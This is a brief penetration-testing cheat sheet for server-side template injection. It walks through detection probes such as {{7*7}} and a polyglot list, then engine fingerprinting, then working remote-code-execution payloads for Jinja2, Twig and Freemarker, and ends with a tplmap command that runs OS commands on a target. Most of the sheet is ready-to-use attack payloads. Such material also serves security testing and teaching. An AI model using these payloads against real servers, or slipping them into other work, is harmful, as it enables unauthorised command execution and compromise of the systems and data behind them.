When user input is concatenated into a server-side template, you can inject template syntax that the engine evaluates, often straight to RCE. It hides anywhere input is echoed back through a template: profile names, email templates, error pages. Detect it, fingerprint the engine, then drop the engine-specific gadget.
Detection: inject a math expression into any reflected parameter (49 = SSTI)
curl -g 'http://<TARGET-IP>/?name={{7*7}}'Polyglot set to try: {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7}
Fingerprint: {{7*'7'}} returning 7777777 is Jinja2 or Twig
Jinja2 (Python / Flask) -> RCE
{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Twig (PHP) -> RCE
{{['id']|filter('system')}}{{['id','']|sort('system')}}Freemarker (Java) -> RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Automate detection and exploitation across engines
python2 tplmap.py -u 'http://<TARGET-IP>/page?name=*' --os-cmd id
{{7*7}} reflects 49 → fingerprint with {{7*'7'}} → drop the engine-specific gadget for RCE. Maps to OWASP A03 Injection.